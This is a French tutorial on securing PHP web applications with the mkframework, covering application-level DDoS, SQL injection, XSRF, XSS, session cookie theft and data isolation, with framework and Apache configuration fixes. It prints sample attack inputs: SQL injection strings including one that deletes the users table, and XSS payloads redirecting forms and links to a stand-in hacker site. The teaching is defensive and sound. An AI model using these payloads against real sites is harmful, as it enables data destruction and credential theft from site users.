I. Préambule▲
I-A. Introduction▲
La sécurité informatique est un point important à ne pas négliger, encore plus lorsque l'on développe des sites web accessibles publiquement.
Ces sites sont en effet accessibles par tout le monde et peuvent faire l'objet d'une multitude de types d'attaques :
- DDOSDistributed Denial Of Service attack : pour faire planter les sites, ou les rendre inutilisables ;
- SQL injection : pour récupérer des informations dans vos bases de données ;
- XSRF Cross-Site Request Forgery: pour faire une élévation de privilèges et modifier (ou faire modifier à son insu) des données ;
- XSS Cross-Site Scripting: pour modifier votre site afin de le corrompre (modification de la cible d'un formulaire pour récupérer les identifiants) ou d'afficher un message néfaste (publicité, message d'un pirate…) ;
- le vol de cookie de session : permettant à un tiers de récupérer la session d'une victime ;
- débordement de session : accéder à des données qui ne leur appartiennent pas (voir ou modifier les emails/comptes d'un autre membre).
Nous allons dans cet article voir la majorité d'entre elles ainsi que les bonnes pratiques et les outils mis à disposition dans le mkframework pour s'en protéger.
I-B. Pourquoi faire cet article avec le mkframework ?▲
J'ai découvert les frameworks avec Symfony bêta (avant la version 1.0), ensuite j'ai continué avec Zend framework. En parallèle je développais mon propre framework, que j'ai recommencé de zéro à quatre reprises, tout en apprenant de mes erreurs.
En 2009, Developpez.com a accepté d'héberger cette quatrième version qui continue d'évoluer depuis.
Dans le cadre de mon travail, je vois souvent mes applications web se faire auditer par un cabinet de sécurité extérieur, j'ai appris au long des années et des audits à corriger, à anticiper les différentes failles relevées avec Zend framework. Malheureusement, je ne pouvais pas modifier celles-ci, perdant à chaque mise à jour mes corrections, je les ai donc appliquées sur le mkframework (xss, xsrf, sql injection, null byte…).
Aujourd'hui, je continue de surveiller les différentes failles connues pour améliorer toujours plus ce framework et le rendre plus sécurisé.
Ce framework est donc très orienté sécurité, et j'ai écrit une page sur le sujet afin d'informer les utilisateurs des risques et des solutions pour les éviter.
Pour information, la page en question : http://mkframework.com/security.html.
II. Les différents risques et leurs solutions▲
II-A. DDOS : rendre le site inutilisable▲
II-A-1. Présentation▲
Le DDOS est plus connu comme étant le fait de faire tomber un site web en employant des armées d'ordinateurs zombies pour émettre sur la même période un très gros flux de requêtes, ceci afin de surcharger, voire faire planter le serveur frontal web.
Dans ce cas-là, il n'y a rien à faire côté PHP, votre administrateur système/réseau peut user d'outils comme fail2ban et compagnie pour analyser et détecter ce type d'attaques.
Je vais plutôt parler ici d'un autre type de DDOS : le DDOS applicatif, c'est-à-dire rendre le site web inutilisable.
Beaucoup de sites bloquent les comptes de connexion au bout d'un certain nombre de tentatives infructueuses, c'est là qu'un hacker peut faire un DDOS.
Il lui suffit de lancer des routines de connexions infructueuses avec des dictionnaires de données et autres sources de login avec un mot de passe erroné pour bloquer un maximum de comptes et ainsi rendre la plate-forme inutilisable pour ses membres.
II-A-2. Les solutions proposées▲
Comment s'en prémunir ? Deux choses : soit ne pas bloquer totalement le compte de connexion, mais le bloquer pendant un temps multiplié par deux, trois… et également informer l'administrateur du site d'un blocage de compte : par mail par exemple. Vous pouvez également loguer dans une base ces blocages et ajouter un script en crontab pour compter le nombre de blocages, si par exemple il est supérieur à cinq ou six dans la même heure, vous levez une alerte.
Note : vous pouvez également ajouter un captcha au bout de deux tentatives infructueuses pour limiter les robots.
II-B. L'injection SQL▲
II-B-1. Présentation▲
Ici la faille consiste à envoyer via le site web une chaîne de caractères afin de corrompre une requête SQL du site pour faire autre chose (insertion, suppression, autres requêtes de sélection…).
L'exemple le plus connu et souvent utilisé, c'est la requête de vérification d'un login et mot de passe qui ressemblerait à ceci :
SELECT
USER_PKEY FROM
users WHERE
USER_Login=
'$login'
and
USER_Password=
'$password'
Vous voyez ici qu'aucune protection n'est faite sur les parties variables, et il suffit au moment du login de s'authentifier avec :
' OR 1=1
pour s'authentifier automatiquement. On aurait pu, bien sûr, mettre un simple caractère ' pour provoquer une erreur SQL et ainsi voir des éléments de requêtes et lire le nom des champs.
Ainsi avec le nom de la table, un simple :
'; DELETE FROM users --
et voilà, plus d'utilisateurs dans la base…
II-B-2. La solution proposée▲
Pour se protéger de ce type d'attaque, on utilise les « requêtes préparées » : ce sont des requêtes SQL dont les parties variables sont indiquées avec des « ? », et où l'on passe séparément ces parties variables.
Dans le framework, on effectue des requêtes ainsi (dans une classe modèle) :
return $this
->
findMany('
SELECT USER_PKEY FROM users WHERE USER_Login= ? AND USER_Password= ?
'
,
$login
,
$password
) ;
Ici, c'est PDOPHP Data Objects qui se chargera d'exécuter la requête SQL de manière sécurisée, ayant identifié les variables de « login » et « mot de passe » : il est impossible pour le hacker de modifier la requête initiale.
II-C. XSRF : l'exécution d'un formulaire à son insu▲
II-C-1. Présentation▲
Imaginez une situation simple : un formulaire ou bouton de suppression d'un email.
Vous avez juste un formulaire ou un simple lien avec l'identifiant de l'email à supprimer. Mais vous imaginez bien que le droit de suppression d'un email est réservé au propriétaire de la messagerie.
Sans aucune protection, on peut changer l'identifiant du lien de suppression et ainsi supprimer le mail d'une autre personne. On reviendra sur cette protection d'isolation des données plus tard.
Imaginons que cette vérification est faite ici : vous avez votre boîte mail ouverte dans un onglet, et vous naviguez sur d'autres sites web dans un autre (forums…). Un hacker peut mettre une image ou autre code qui appellera le formulaire de suppression, ainsi simplement en naviguant, vous allez supprimer vos propres emails.
II-C-2. La solution proposée▲
Pour se prémunir de cette faille, on utilise des jetons : à la création d'un formulaire, on génère un jeton que l'on affiche en champ caché du formulaire, celui-ci doit :
- être unique (on ne doit pas voir les mêmes jetons générés de nouveau dans un prochain cycle) ;
- non prédictible (pas de simple auto-incrément, trop facile à deviner) ;
- éphémère (il doit avoir une espérance de vie limitée en minutes) ;
- et à usage unique (une fois utilisé, il ne peut plus l'être).
Pour générer cette solution, vous pouvez utiliser le plugin plugin_xsrf.
Dans l'action d'un module, on crée le jeton que l'on passe à la vue :
Public function _edit(){
//récupération du tableau des messages d'erreurs
$tMessage
=
$this
->
processSave();
//récupération de l'objet auteur
$oAuteur
=
model_auteur::
getInstance()->
findById( _root::
getParam('
id
'
) );
//création d'un objet vue
$oView
=
new _view('
auteur::edit
'
);
//assignation de l'objet auteur
$oView
->
oAuteur=
$oAuteur
;
//création du jeton
$oPluginXsrf
=
new plugin_xsrf();
//assignation du jeton à la vue
$oView
->
token=
$oPluginXsrf
->
getToken();
//assignation de la vue au layout
$this
->
oLayout->
add('
main
'
,
$oView
);
}
Côté vue, on affiche dans un champ caché du formulaire :
<?php
//création d'un plugin formulaire avec l'objet issu de la base de données
$oForm
=
new
plugin_form($this
->
oObject);
//on lui passe le tableau des messages d'erreur
$oForm
->
setMessage($this
->
tMessage);
?>
<
form action=
""
method=
"
POST
"
>
(…)
<?php
//on affiche le jeton
echo $oForm
->
getToken('token'
,
$this
->
token)?>
</
form>
Côté traitement de données, on vérifie ce jeton :
private function processSave(){
if(!
_root::
getRequest()->
isPost() ){
//si ce n'est pas une requête POST on ne soumet pas
return null;
}
$oPluginXsrf
=
new plugin_xsrf();
//on vérifie que le jeton est valide
if(!
$oPluginXsrf
->
checkToken( _root::
getParam('
token
'
) ) ){
return array('
token
'
=>
$oPluginXsrf
->
getMessage() );
}
(...
)
}
Note : vous pouvez renforcer la sécurité de ce jeton en ne le rendant utilisable qu'une seule fois, en activant une variable dans un fichier de configuration conf/site.ini.php :
[security]
xsrf.session.enabled=1
Ceci enregistrera le jeton en session, et une fois utilisé, il sera supprimé de celle-ci.
Note 2 : pensez à modifier le « sel » (Salt) de ce plugin, en effet, les jetons sont hachés, mais si vous laissez le sel par défaut, on peut deviner le hash, sauf bien sûr si vous avez activé le jeton en session (précédemment indiqué).
II-D. XSS : la modification du code de votre site via l'exploitation d'une variable non protégée▲
II-D-1. Présentation▲
En soumettant une chaîne particulière, le hacker va modifier le site au moment où celle-ci sera affichée.
Imaginez une situation simple : un formulaire de recherche (POST ou GET), où vous indiquez sur le site « Résultats de recherche pour ces critères… » en affichant les éléments saisis.
Sans protection, un hacker peut très bien entrer en critère de recherche :
<script> document
.getElementById
(
'votreFormulaire'
).
action=
'leSiteDuHacker.com'
;
</script>
ma recherche
En envoyant ceci, la chaîne va modifier la destination du formulaire de recherche, pour envoyer celle-ci vers le site du hacker.
Il existe deux types de XSS : les XSS « éphémères » comme celui-ci qui nécessite que l'on envoie en GET ou en POST la chaîne du hacker, et les XSS persistants qui consistent à enregistrer cette « modification » en base de données. Par exemple en enregistrant dans un post de forum une chaîne du type :
<script> document
.getElementById
(
'btnRepondre'
).
href=
'siteDuHacker.com'
;
</script>
Ici, à chaque fois qu'une personne voudra répondre dans le forum, elle ira sur le site du hacker qui pourra au préalable avoir fait une copie visuelle du site attaqué pour faire du phishing, où il pourra rediriger vers l'adresse d'un site vérolé pour tenter d'attaquer les ordinateurs.
Attention, il existe une autre façon de compromettre votre site avec du XSS lors de l'affichage d'un formulaire :
<input type
=
"text"
value
=
"<?php echo $oData->monChampDeLabaseVerolee?>"
/>
Ici on affiche « naturellement » dans le champ de formulaire ce qu'il y a en base de données, et avec une chaîne de ce type :
" onclick="document.getElementById('leFormulaire').action='hacker.com' ;
On « sort » de la valeur du champ texte pour ajouter une action sur le clic du champ modifiant la cible du formulaire.
II-D-2. La solution proposée▲
Ici, le framework propose de ne pas utiliser les variables d'environnement $_GET et $_POST, mais plutôt la méthode publique statique _root::getParam().
Cette méthode sécurise la chaîne des attaques XSS et null byte.
Les valeurs soumises par les internautes sont également encodées en HTML, quotes comprises, à chaque affichage de la donnée.
Pour information, il y a deux méthodes de sécurisation :
- vérifier les chaînes en entrées, et les protéger systématiquement à l'affichage (partout dans le site) ;
- convertir les chaînes en HTML sécurisé et les enregistrer converties pour ne pas se soucier des erreurs à l'affichage.
Le framework utilise la seconde, c'est certes une méthode radicale, mais elle a fait ses preuves, contrairement à la première. Elle évite d'avoir des failles de sécurité, car un développeur a oublié de sécuriser une chaîne à l'affichage (dans la page et/ou dans un champ de formulaire ) sur la première.
II-E. Vol de cookie de session▲
II-E-1. Présentation▲
Les cookies peuvent être accessibles côté serveur (en PHP) et également côté client (en JavaScript). Le principe de cette faille est d'amener la victime à afficher son cookie via une commande JavaScript, en effet on peut simplement y accéder via « document.cookie ».
II-E-2. La solution proposée▲
Il faut activer l'attribut « http-only » de nos cookies de session, interdisant au JavaScript d'y accéder.
Il vous suffit ici de modifier le fichier conf/site.ini.php de votre application en renseignant les paramètres suivants (configuration par défaut) :
[auth]
;note : >= php5.2 dans le php.ini
session.use_cookies = 1
session.use_only_cookies = 1
session.cookie_httponly=1
II-F. L'isolation des données▲
II-F-1. Présentation▲
Imaginez qu'un hacker puisse, en changeant une variable dans l'URL voir vos emails et même les modifier, même chose pour vos comptes bancaires, simplement en changeant une variable « id » dans la barre d'adresse ?
Imaginez un autre cas, où vous avez un formulaire permettant de faire un virement entre vos comptes (avec des menus déroulants, par exemple) et que le hacker puisse soumettre d'autres identifiants de compte (que ceux proposés) pour débiter le compte d'une autre personne.
C'est ce que l'on appelle une faille d'isolation ou de débordement de session : il faut toujours vérifier sur chaque page d'affichage, sur chaque élément d'une transaction et de traitement que l'élément affiché ou modifié appartient bien à l'utilisateur connecté.
II-F-2. La solution proposée▲
Toujours vérifier que la donnée demandée appartient bien à l'utilisateur connecté.
Pour information, pour récupérer l'utilisateur connecté :
_root::
getAuth()->
getAccount()->
cle_primaire
Par exemple, si vous utilisez une table Users et que la clé primaire est USR_PKEY :
_root::
getAuth()->
getAccount()->
USR_PKEY
Vérifier également que les éléments de la « transaction » appartiennent également à cet utilisateur : ce n'est pas parce que vous avez un formulaire avec des menus déroulants que le hacker ne peut pas soumettre une valeur non présente dans celui-ci.
III. Autres préconisations de sécurité▲
III-A. L'autocomplétion sur le formulaire d'authentification▲
Pensez, sur les formulaires d'authentification, à désactiver l'autocomplétion des noms d'utilisateur.
En effet, certains utilisateurs peuvent être amenés à se connecter sur des sites « publics » (cybercafés, hôtels…) et il serait dommage que le navigateur enregistre le nom d'utilisateur sur l'ordinateur.
<input autocomplete
=
"off"
name
=
"utilisateur"
/>
III-B. L'affichage des erreurs▲
En production, il faut cacher le plus d'informations possible, erreurs comprises.
Pour cela, éditez le fichier conf/mode.ini.php :
[site]
mode
=
production
En faisant ceci, Apache n'affichera pas les erreurs PHP, celles-ci seront enregistrées dans le fichier de log data/log.
On peut configurer cela dans le fichier :
[log]
(...)
file.enabled=1
apache.enabled=1
pour indiquer si on enregistre dans le fichier data/log ou dans le fichier de log « normal » d'Apache (éventuellement les deux à la fois).
III-C. Interdire l'inclusion du site en iframe/frame▲
Pour éviter de voir son site, ou un de ses formulaires critiques encapsulés dans une iframe, vous pouvez le paramétrer, en ajoutant à votre fichier de configuration Apache :
Header set X-Frame-Options: "sameorigin"
C'est le paramétrage par défaut sur les versions récentes d'Apache.
III-D. Cacher au maximum les informations de votre plate-forme▲
Les hackers utilisent souvent des logiciels ou des scripts qui analysent les sites web sur la toile à la recherche de versions de serveurs facilement attaquables.
En effet, comme vous le savez, régulièrement les éditeurs mettent à jour leurs serveurs et applications pour corriger des failles de sécurité, les hackers utilisent des bases de données référençant ces numéros de versions vulnérables et cherchent donc ainsi leurs futures victimes.
Votre serveur web, par défaut, retourne beaucoup d'informations, dont son numéro de version, le système d'exploitation…
Vous pouvez désactiver ceci en passant la directive ServerTokens à « Prod » :
ServerTokens Prod
III-E. Ne pas permettre aux internautes de naviguer sur votre serveur▲
Par défaut, vous pouvez dans une URL utiliser les chaînes « ../ » pour remonter dans une arborescence et ainsi voir des répertoires qui ne devraient pas être accessibles (configuration, data…).
Je vous invite donc à utiliser un virtualhost pour limiter les actions de l'utilisateur :
<VirtualHost *
:
80>
ServerAdmin webmaster@localhost
ServerName www.mon-projet.com
DocumentRoot /var/www/mkframework/data/genere/votreApplication/public
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<Directory /var/www/mkframework/data/genere/votreApplication/public>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
</VirtualHost>
On appelle ça le « web root » : la racine du site web.
IV. Conclusion▲
J'espère que cet article vous aidera à concevoir des applications web plus sécurisées.
N'oubliez pas qu'aujourd'hui, si de nombreuses entreprises investissent de grosses sommes dans des infrastructures toujours plus sécurisées, ce n'est pas pour voir leur SISystème d'information corrompu, ou des vols de données utilisateurs liés à une faille de sécurité sur l'un de leurs sites web.
Une dernière chose : cet article vous indique comment sécuriser votre application web, mais n'oubliez pas qu'il faut veiller à ce que le reste de la plate-forme soit sécurisé également : serveur Apache à jour, même chose pour le système d'exploitation et le framework bien sûr.
V. Remerciements▲
Je souhaiterais remercier Neckara et LittleWhite pour les échanges pertinents lors de la validation technique. Je remercie également f-leb et jacques_jean pour leurs multiples corrections.